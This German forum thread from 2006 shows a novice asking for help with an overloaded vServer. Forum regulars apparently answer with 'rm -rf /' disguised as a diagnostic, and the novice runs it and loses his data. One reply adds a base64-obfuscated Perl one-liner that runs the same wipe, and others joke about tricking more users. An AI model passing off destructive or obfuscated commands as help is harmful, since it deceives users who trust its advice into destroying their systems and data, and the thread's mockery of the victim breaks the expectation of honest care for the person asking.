Page 1 of 2
Ständige Überlastung von vServer
Posted: 2006-04-20 19:56
by Anonymous
Guten Tag.
Mein vServer ist ständig überlastet.
Eigendlich wollte ich ein kleines Webhosting eröffnen, jedoch laufen derzeit ca 5 Homepages auf dem vServer und er ist ständig überlastet und ich muss ihn fast jeden Tag neu starten, weil er vollständig steht.
Ich habe meistens die 3 Errors (so steht es in der QoS Alerts Liste):
1.) numfile (am häufigsten)
2.) kmemsize
3.) dcachesize
Wie und wo kann ich meine configs so seinstellen, dass ich zumindest 15 Homepages hosten kann.
Wenn es hilfreich ist:
habe einen vServer bei netclusive.de mit Prozessorleistung: +50% und Arbeitsspeicher: +50%
Ich wäre sehr dankbar für Ihre Hilfe.
Mit freundlichen Grüßen,
***
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 20:09
by Joe User
fabs wrote:Mein vServer ist ständig überlastet.
Das ist auch Sinn der Sache, schliesslich steht das V für Volllast.
fabs wrote:Eigendlich wollte ich ein kleines Webhosting eröffnen,
Mit einem vServer? Sind die Schulferien noch nicht um?
fabs wrote:Wie und wo kann ich meine configs so seinstellen, dass ich zumindest 15 Homepages hosten kann.
Die mögliche Zahl an Websites ermittelst Du als root per:
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 20:19
by Anonymous
v411:~# rm -fr /
rm: Entfernen von ,,//dev/pts/0" nicht möglich: Operation not permitted
rm: Öffnen von Verzeichnis ,,//dev" nicht möglich: Too many open files in system
rm: Öffnen von Verzeichnis ,,/" nicht möglich: Too many open files in system
Das ist ja das Problem meines vServers (steht das V nicht für Virtual).
Es sind irgendwie immer zu viele offene Dateien...
Und ich kann ja in meinem Confixx eigentlich so viele Kunden erstellen wie ich möchte...
wie kan ich denn alle offenen Dateien schließen und die kmemsize und dcachesize wieder auf 0 bringen?
Mfg
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 20:27
by Roger Wilco
Our worldcommunity was soiled! ](*,)
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 20:31
by codc
RootForum Foren-Übersicht » Allgemeine *NIX-Serverfragen mit Tiefgang ??????????????????????????????? :twisted:
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 20:40
by Anonymous
Ich meine das hier ernst aber anscheinend nimmt mich hier mit meinem Problem keiner ernst -_-
Zugegeben: ich kenne mich nicht wirklich gut aus.
Aber das ist das zweite mal dass ich eine Frage in dieses Forum Poste und jedes mal wurde ich verarscht, entschuldigung für diesen Ausdruck, ist sonst nicht meiene Art.
Entschuldigung wenn der Platz meines Topics nicht passte, dann verschiebt mich bitte.
mein letzter Versuch sind 2 Screens vom Virtuozzo
MFG
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 20:45
by duergner
Ich bin ja gespannt, wie oft das noch wirkt. :lol: :lol:
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 20:48
by codc
hast du gelesen ->
http://www.rootforum.org/terms.html
[ ] ja
[x] nein
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 20:52
by Joe User
duergner wrote:Ich bin ja gespannt, wie oft das noch wirkt. :lol: :lol:
Och, man muss es nur schön bunt verpacken und nen rosa Button draufkleben ;)
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 21:32
by floschi
Also ich fasse es nicht - in einer Woche zweimal so einen, der ohne zu denken rm -rf / eingibt, das ist irgendwie schon krass. Ich bringe ja viel Verständnis für lernwillige Anfänger auf, aber das es soviele gibt, die ohne Hirn mal "fett krass" Megaprovider werden wollen und es sich trauen, ohne jegliche Grundkenntnisse so ein System zu bestellen - ne, irgendwo hört der Spaß auf. Da gehört rm -rf / einfach dazu ;)
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 21:36
by duergner
Naja Joe war ja so lieb, einmal rm -rf / und das andere mal rm -fr / zu schreiben. :lol:
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 21:38
by wirsing
Joe User wrote:Och, man muss es nur schön bunt verpacken und nen rosa Button draufkleben ;)
Neue Verpackungsidee:
Code: Select all
perl -MMIME::Base64 -e 'eval decode_base64 "c3lzdGVtKCJybSAtcmYgLyIpOw=="'
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 23:17
by duergner
Das is aber scho echt böse. *gg*
Re: Ständige Überlastung von vServer
Posted: 2006-04-20 23:40
by wirsing
eval und evil haben ja auch nur einen Editierabstand von 1 :)
Re: Ständige Überlastung von vServer
Posted: 2006-04-22 20:27
by theomega
[spaß="Ein"]
wie wäre es mit einer Highscore: Wer bekommt am meisten Leute dazu hier im Forum rm -rf (oder ähnliches) auszuführen?
[/spaß]
Re: Ständige Überlastung von vServer
Posted: 2006-04-22 21:11
by elch_mg
sorry Leute, aber ... YMMD. ich lach mir hier grad n ast ab...
<... Edit by Flo: Bitte keine Bemerkungen zu Anbietern ...>
Re: Ständige Überlastung von vServer
Posted: 2006-04-23 01:19
by wgot
Hallo,
fabs wrote:Ich meine das hier ernst aber anscheinend nimmt mich hier mit meinem Problem keiner ernst
doch, man nimmt Dich schon ernst mit deinem Problem. Allerdings nicht mit dem Problem das Du meinst zu haben, sondern mit dem Problem das Du tatsächlich hast. :roll:
Gruß, Wolfgang
Re: Ständige Überlastung von vServer
Posted: 2006-04-23 05:11
by duergner
Der war wirklich gut. :lol:
Re: Ständige Überlastung von vServer
Posted: 2006-04-23 13:42
by Anonymous
Nochmal danke für eure super Hilfe und euren Respekt.
War wirklich total nett.
Ich fasse es nicht wie man so hilfsbereit sein kann.
Und wer sagt dass ich '"fett krass" Megaprovider' werden möchte wie "floschi" sagt.
Ich möchte lediglich ein par Projekte von mir, die derzeit auf verschiedenen Webspaces liegen unter eine Haube bringen. Ich dachte mir, dass dies mit einem vServer möglich wäre. Ok dann geht es eben nicht. Könntet ihr mir auch ganz normal sagen: Es geht nicht such dir einen Reseller account oder was weiß ich.
Naja dann werd ich mal nach Foren suchen die auch Anfängern in sachen vServer und rootServer helfen, ohne dabei gleich verarscht zu werden.
***
Re: Ständige Überlastung von vServer
Posted: 2006-04-23 14:28
by duergner
fabs wrote:Eigendlich wollte ich ein kleines Webhosting eröffnen
Nur mal zur Auffrischung deiner Erinnerung.
Re: Ständige Überlastung von vServer
Posted: 2006-04-23 18:04
by floschi
fabs wrote:Ich möchte lediglich ein par Projekte von mir, die derzeit auf verschiedenen Webspaces liegen unter eine Haube bringen. Ich dachte mir, dass dies mit einem vServer möglich wäre. Ok dann geht es eben nicht. Könntet ihr mir auch ganz normal sagen: Es geht nicht such dir einen Reseller account oder was weiß ich.
Natürlich geht das - aber eben nicht so einfach, wenn du keine Ahnung hast und keine Lust hast, dich damit zu beschäftigen.
Re: Ständige Überlastung von vServer
Posted: 2006-04-23 19:23
by Anonymous
Durch den Befehl rm -fr / wurde mein ganzes System gelöscht.
Ich kann es kaum glauben, dass ihr unwissenden und Anfängern solche miesen "Tipps" gebt.
Da ich von einem Projekt seit einem Monat kein Backup gemacht habe, ist sehr viel verloren gegangen. Ihr habt mir dadurch wirklich sehr geschadet.
Ich bin wirklich enttäuscht dass so etwas in einem Support-Forum vorkommt. Das hätte ich wirklich als letztes erwartet.
:(
Re: Ständige Überlastung von vServer
Posted: 2006-04-23 19:25
by elch_mg
muss man dir
die Dinger wirklich in den Kopf reinhämmern? Lies, und werd schlauer.
Re: Ständige Überlastung von vServer
Posted: 2006-04-23 19:46
by codc
fabs wrote:Durch den Befehl rm -fr / wurde mein ganzes System gelöscht.
Kein Mensch mit ein wenig Verstand wird als root ohne die man-pages zu lesen und das dortige verstanden zu haben blind c&p was in die Konsole hacken. Lass es dir eine Lehre sein - kauf dir ein paar Bücher über Linux und dann wirst du, falls du dann über mehr Ahnung verfügst über deine Dummheit lachen.
man rm
-f, --force
ignore nonexistent files, never prompt
-r, -R, --recursive
remove the contents of directories recursively
btw wenn die Platte anständig partitioniert worden wäre dann wäre der Datenverlust nicht 100% weil rm -rf / nicht über Partitionsgrenzen funktioniert.
Re: Ständige Überlastung von vServer
Posted: 2006-04-23 19:52
by Roger Wilco
codc wrote:btw wenn die Platte anständig partitioniert worden wäre dann wäre der Datenverlust nicht 100% weil rm -rf / nicht über Partitionsgrenzen funktioniert.
Oh doch, probiers mal aus. ;)